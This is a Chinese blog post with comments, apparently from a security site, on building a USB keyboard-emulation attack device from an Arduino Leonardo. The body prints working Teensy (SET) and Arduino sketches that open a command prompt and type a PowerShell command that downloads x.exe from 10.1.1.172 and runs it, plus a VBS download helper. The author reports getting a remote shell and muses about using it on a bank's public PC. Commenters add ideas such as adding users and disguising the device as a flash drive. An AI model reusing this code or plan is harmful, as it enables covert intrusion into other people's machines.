Arduino 是一款便捷灵活、方便上手的开源电子原型平台,包含硬件(各种型号的arduino板)和软件(arduino IDE)。它适用于艺术家、设计师、爱好者和对于“互动”有兴趣的朋友们。arduino官网:http://www.arduino.cc/
这个渗透思想源于前两周去银行更换U盾。
银行办理业务的地方都会有一个测试U盾的PC,用于检验U盾和激活,我运气比较背,正好碰上一个坏的。U盾插上后会自动启动一些应用,那么我们也可以做这样一个东西来启动并执行我们想要东西。
U盘中的autorun.inf可以做到。arduino也可以做到。
在做机器人的时候买了并了解了arduino,做机器人主要是为了拍妹纸。
arduino的板子种类也比较多。我使用的是arduino leonardo.
现在用它来做渗透。
主要思想是用它来做一个能自动敲东西的键盘。
Social-Engineer Toolkit有这个功能,不过它使用的是teensy这个板子,很小,和arduino leonardo都是使用的 ATMEGA32U4芯片。
这两天我一直在尝试将set生成的代码直接弄到arduino leonardo上运行,不会编程,没有成功。
不过我还是用set,这样可以少敲横多命令。
他生成了teensy代码
// // Social-Engineer Toolkit Teensy Attack Vector // Written by: Dave Kennedy (ReL1K) and Josh Kelley (WinFaNG) // // Special thanks to: Irongeek // // 2011-02-28 padzero@gmail.com // * Added "ALT code" print functions (ascii_*): Fixed payload execution on non-english keymap targets // * Change path from C:\ to %HOMEPATH%: Fixed payload execution on Windows 7 // char convert[4] = "000"; // do not change this char command1[] = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://10.1.1.172/x.exe';$file = ' %HOMEPATH%\\x.exe ';$clnt.DownloadFile($url,$file);"; char command2[] = "%HOMEPATH%\\x.exe"; void setup() { delay(5000); omg(command1); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); delay(15000); // run this executable omg(command2); delay(2000); Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(1000000); } void loop() {} void ascii_type_this(char *string) { int count, length; length = strlen(string); for(count = 0 ; count < length ; count++) { char a = string[count]; ascii_input(ascii_convert(a)); } } void ascii_input(char *string) { if (string == "000") return; int count, length; length = strlen(string); Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.send_now(); for(count = 0 ; count < length ; count++) { char a = string[count]; if (a == '1') Keyboard.set_key1(KEYPAD_1); if (a == '2') Keyboard.set_key1(KEYPAD_2); if (a == '3') Keyboard.set_key1(KEYPAD_3); if (a == '4') Keyboard.set_key1(KEYPAD_4); if (a == '5') Keyboard.set_key1(KEYPAD_5); if (a == '6') Keyboard.set_key1(KEYPAD_6); if (a == '7') Keyboard.set_key1(KEYPAD_7); if (a == '8') Keyboard.set_key1(KEYPAD_8); if (a == '9') Keyboard.set_key1(KEYPAD_9); if (a == '0') Keyboard.set_key1(KEYPAD_0); Keyboard.send_now(); Keyboard.set_key1(0); delay(11); Keyboard.send_now(); } Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } char* ascii_convert(char string) { if (string == 'T') return "84"; if (string == ' ') return "32"; if (string == '!') return "33"; if (string == '\"') return "34"; if (string == '#') return "35"; if (string == '$') return "36"; if (string == '%') return "37"; if (string == '&') return "38"; if (string == '\'') return "39"; if (string == '(') return "40"; if (string == ')') return "41"; if (string == '*') return "42"; if (string == '+') return "43"; if (string == ',') return "44"; if (string == '-') return "45"; if (string == '.') return "46"; if (string == '/') return "47"; if (string == '0') return "48"; if (string == '1') return "49"; if (string == '2') return "50"; if (string == '3') return "51"; if (string == '4') return "52"; if (string == '5') return "53"; if (string == '6') return "54"; if (string == '7') return "55"; if (string == '8') return "56"; if (string == '9') return "57"; if (string == ':') return "58"; if (string == ';') return "59"; if (string == '<') return "60"; if (string == '=') return "61"; if (string == '>') return "62"; if (string == '?') return "63"; if (string == '@') return "64"; if (string == 'A') return "65"; if (string == 'B') return "66"; if (string == 'C') return "67"; if (string == 'D') return "68"; if (string == 'E') return "69"; if (string == 'F') return "70"; if (string == 'G') return "71"; if (string == 'H') return "72"; if (string == 'I') return "73"; if (string == 'J') return "74"; if (string == 'K') return "75"; if (string == 'L') return "76"; if (string == 'M') return "77"; if (string == 'N') return "78"; if (string == 'O') return "79"; if (string == 'P') return "80"; if (string == 'Q') return "81"; if (string == 'R') return "82"; if (string == 'S') return "83"; if (string == 'T') return "84"; if (string == 'U') return "85"; if (string == 'V') return "86"; if (string == 'W') return "87"; if (string == 'X') return "88"; if (string == 'Y') return "89"; if (string == 'Z') return "90"; if (string == '[') return "91"; if (string == '\\') return "92"; if (string == ']') return "93"; if (string == '^') return "94"; if (string == '_') return "95"; if (string == '`') return "96"; if (string == 'a') return "97"; if (string == 'b') return "98"; if (string == 'c') return "99"; if (string == 'd') return "100"; if (string == 'e') return "101"; if (string == 'f') return "102"; if (string == 'g') return "103"; if (string == 'h') return "104"; if (string == 'i') return "105"; if (string == 'j') return "106"; if (string == 'k') return "107"; if (string == 'l') return "108"; if (string == 'm') return "109"; if (string == 'n') return "110"; if (string == 'o') return "111"; if (string == 'p') return "112"; if (string == 'q') return "113"; if (string == 'r') return "114"; if (string == 's') return "115"; if (string == 't') return "116"; if (string == 'u') return "117"; if (string == 'v') return "118"; if (string == 'w') return "119"; if (string == 'x') return "120"; if (string == 'y') return "121"; if (string == 'z') return "122"; if (string == '{') return "123"; if (string == '|') return "124"; if (string == '}') return "125"; if (string == '~') return "126"; Keyboard.print(string); return "000"; } void release_keys() { Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); } void send_keys(byte key, byte modifier) { if(modifier) Keyboard.set_modifier(modifier); Keyboard.set_key1(key); Keyboard.send_now(); delay(100); release_keys(); } void omg(char *SomeCommand) { Keyboard.set_modifier(128); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(1500); ascii_type_this(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } 由于两个设备代码不能共享,我自己写了新的代码。 char ctrlKey = KEY_LEFT_GUI;//win键 void setup() { Keyboard.begin(); } void loop() { delay(500); delay(1000); delay(1000); Keyboard.press(ctrlKey); Keyboard.press('r'); delay(100); Keyboard.release(ctrlKey); Keyboard.release('r'); delay(1000); delay(1000); Keyboard.print("cmd"); Keyboard.println(); delay(1000); Keyboard.write(KEY_RETURN); delay(2000); Keyboard.write(KEY_LEFT_SHIFT); delay(500); Keyboard.print("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://10.1.1.172/x.exe';$file = ' C:\\x.exe ';$clnt.DownloadFile($url,$file);"); delay(100); Keyboard.println(); delay(2000); Keyboard.print("C:\\x.exe"); delay(100); Keyboard.println(); while(1){}; }
将代码通过arduino IDE编译后写入硬件。
测试了下set没有启动httpd服务,我自己去生成一个马儿并启动httpd服务
插上arduino
在windows server 2008 R2上自动启动cmd。
自动“敲”入并执行命令
成功获得shell.
目前的arduino板子中只有leonardo支持keyboard,
其他好像也是可以支持的,使用virtual-usb-keyboard这个没有测试不知道成功与否。
银行放在外面的那个PC使用powershell做wget使用的方式还没法搞,XP没有powershell。不过有IE,有机会去试一试。
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >get.vbs
用法:cscript get.vbs http://xxoo.com/xxoo x.exe
关注我们 分享每日精选文章
FB客服 2018-03-30
腾讯手机管家 2017-11-10
艾登——皮尔斯 2018-02-17
Elaine_z 2017-07-13
已有 58 条评论
Arduino是单片机吗?
@phper 单片机玩具,不过已经达到工业级标准了~
虽然不懂,但好像很历害的样子。
把arduino插到电脑上后,电脑会自动执行arduino中“模拟键盘代码”的程序?
@ hellopython 对电脑而言那就是电脑键盘的输入
好猥琐的思路
亲,你需要的是teensy而不是需要arduino,你完全把2种东西搞混了.虽然二者都是使用avr而且teensy可以借用arduino的ide。
@NWMonster arduino leonardo几个月前就买了,我没想过再买teensy。前几天一直在把teensy的代码弄到arduino leonardo上,既然芯片一样代码我想能够共享,但是实际情况是我做不到。。。还有我没有混淆两个设备。
@lpcdma teensy不需要特有的驱动,就可以被系统识别为键盘,所以这个攻击是有效的,arduino leonardo虽然可以模拟键盘,但需要安装驱动,所以你懂的。亲,你这文章到底是针对teensy的攻击还是arduino?你想说明什么?说明你失败了?
@NWMonster Leonardo 做成单片机的话要有驱动才能通过IDE烧写程序,单单模拟成键盘鼠标一类的东西就不需要驱动,一旦程序烧写好了,Leonardo就可以完全变成USB总线设备,像普通键盘鼠标一样“免驱”,直接使用,免驱=3~5秒的时间取得USB总线注册,在Mac,Linux(Ubuntu),Android 下我都使用过。
@NWMonster 1.arduino。2.这只是一个思路,我认为还有很大的扩展空间。3.实验是成功的,win08、win7。关于驱动,arduino leonardo插上的时候PC是会提示扫描驱动,然后失败,但是是会工作的。所以会有一个时间差的把握,如果“敲”的时候正在扫描驱动。那就不会成功。前辈玩的应该是teensy吧,我想他们既然芯片相同,应该也是这样吧。从代码量来看我觉得写arduino leonardo的代码要简单很多。
@lpcdma teensy会被系统自动识别为键盘。所以不用手动安装驱动. arduino和teensy都是用的avr而且teensy可以借助arduino的ide,代码量和代码程度基本是一样的。arduino偏向玩具,teensy偏实用。
@lpcdma 关于代码运行时间的把握你可以设置一个开关啊驱动没有驱上指的是Leonardo对IDE的Com口没有驱动成功,而不是USB总线没有成功。
@梁宇 我也遇到了这个问题,代码运行时间怎么控制。第一次插到win7 上面,win7会扫描驱动。程序往往不能顺利运行。要等驱动装好了,再拔插一下。请问有没有好的解决方法。
你小看银行系统了。思路不错。但不会成功。
@xixihaha999 估计银行的USB总线协议不是普通的协议……或许银行系统都是定制的,没有第三方可执行程序….
autorun.inf运行vbs写的sendkey貌似也可以啊
果然是專業工科人士………每次看你都是轉的技術貼…
粉丝和关注的里面大部分也是技术相关的
这是之前RSA安全大会一个老外分享的议题…为什么不写实话呢?
@only_guest 这个大会我的确听说过,但是它的内容我一概不知,因为我是菜B,还没机会参加这样的大会。我在玩之前是查了资料,那也是只youtube上一个SET+teensy的视频。从评论上,现在看来菜B发个思路还是比较恼火。。。
@lpcdma
据我对于小朋友的了解~他不会抄袭对方的内容再放上来的!主要是没有意义~有什么意义呢?
@only_guest
有时候不要太紧张
@lpcdma 共享的精神很赞,能把这套思路演示发出来很不容易,不要太在乎质疑:)
@lpcdma 加精了
@lpcdma 因为当时那老外分享这玩意的时候我在现场.而且认真听了.所以看到这个东西难免会有质疑.
而且思路都是模拟按键.然后作者在文章结尾提到了powershell,当时老外分享的时候.最后也是强调powershell可以做的事情更多,所以难免让人有疑问.我问你为什么不写实话的原因是你在文章中没有提到一次原作者.所以这么问了..没有激动.呵呵
@lpcdma 你这个文章的思路真的跟guest前几个月参加的一个RSA大会一个老外讲到的议题是差不多的!虽然我没去,但是他曾对我们多次提起这个思路!我当时还在想,能接触到usb了,是否可以直接键盘或者鼠标呢?
@only_guest @闪电小子
路过评论~其实嘛~RSA那个的思路也不是原作者~
Teensy的玩法太多~所以原作者是谁?不知道~
Arduino的玩法一样~所以原作者是谁?不知道~
我只知道你说的那个思路在两年前就被hak5的弄出来并且商业为现在的USB Ducky~
主要是你评论的这句话,给人感觉实在有点针锋相对~旁人听起来是觉得你不仅仅是质疑了内容的原创性、真实性~还肯定了文章是抄袭而来的!或者也是因此才会出现那篇打压的文章出现~
或者freebuf应该搞一个“打假”平台?!^_^
@radiowar 嗯.没那意思.何必较真.谁认真谁就输了..
作者别在意.该发继续发.欣赏你敢想敢做.好多东西现在只能想想了.确实没时间去付诸实践.
@radiowar @only_guest @闪电小子
我倒是挺喜欢这种讨论氛围
@闪电小子 关于鼠标http://arduino.cc/en/Reference/MouseKeyboard
@only_guest 没有写参考内容是我的失误,但是我确实不是copy你所的说那个老外的,这次确实是躺着中枪。现在补上我参考的是这个视频http://vimeo.com/14126079,视频发布日期是2010年8月13日。使用powershell是因为set的原因,也和这个视频有关,还有我不喜欢敲过多的命令,文中也有提到。还有个原因我最近在读一本书《Windows PowerShell应用手册》,学以致用。这个思路看上去有那么点天方夜谭,但是有很大的扩展空间。
想问下银行外面的pc的usb插口在哪。。。
Talk is cheap。
支持这种共享精神,这些玩法也很值得深入扩展。
后面的下载执行可以采用vbs。毕竟powershell只在vista以上系统才自带。
@BinAry
要是能做成U盘外形,插上去就执行指定命令那就牛逼大了,传说中的黑阔啊
@sniperhk
早就有啦~不是稀奇事
@radiowar 何以见得?
膜拜,具体实现好犀利。
这么高端的玩法,学习了,支持这种共享精神
RSA2012上那个印度阿三 至今还有印象 敲键盘贼快。
我们行里都是用的Windows XP Embedded 都有了相应的安全措施。你这套思路已经不大可能在银行系统成功了
真正的漏洞是随便插个启动u盘。再踢下电源开关。
一、现成HID产品
www.ajbox.cn
二、何必那么辛苦
http://detail.tmall.com/item.htm?spm=a230r.1.10.1.Kf41xM&id=9515640963
http://item.taobao.com/item.htm?spm=a230r.1.10.1.u7Yh6D&id=16058254144
nano,你懂的。
@奶茶没了 好少年!现在国家正需要你这样的人才,我们赶快山寨一批,军功章有你的一半!
@ 奶茶没了 350一个
老子胡汉山又回来了
@malayke
有空上去hakshop.com多看看!USB Ducky已经是第三代了~U盘的渗透工具早就不是什么新玩意了
这个思路 是 不错的 但是 和 实际 还是差很远的 要搞 银行 最起码 你要先去了解下那个 pc 的硬件在说
貌视很神圣。
模拟键盘这个思路非常不错.做小了以后直接插在usb上电脑自动查找到键盘输入设备.自动下载,运行..
内网的话直接开个telnet..建立用户..
适当的用用社工将这个模拟成U盘.感觉有点像神器了..
我是来看喷子喷楼主的,楼主的共享精神与技术都不错,加油,哥很看好你!
@楼主还在吗?有问题想请教一下
禁用了自动播放的一样搞不定。。。虽然是模拟成CD-ROM之类的设备
我需要一个budu ,身上有的 或者 会做的 跟我联系 ,继续,qq498046828
我需要批量生产 提供技术支持的 加Q 115 7559 115 有偿
谢谢您的代码
Keyboard.write(KEY_RETURN); ≠ Keyboard.set_key1(KEY_ENTER);
找了半天这东西到底该怎么写!谢谢
希望能从您那了解到,您是怎么知道这段代码该这样写的。
qq:772061674
还有在delay(500);
delay(1000);
delay(1000);
Keyboard.press(ctrlKey);
Keyboard.press(‘r’);
delay(100);
Keyboard.release(ctrlKey);
Keyboard.release(‘r’);
delay(1000);
delay(1000);
这些延时很重要吗?
Keyboard.print("cmd");
Keyboard.println();
delay(1000);
Keyboard.write(KEY_RETURN);
delay(2000);
Keyboard.write(KEY_LEFT_SHIFT);
delay(500);
下载可以采用文件共享,直接copy 。。。 测试过。。。可行。。。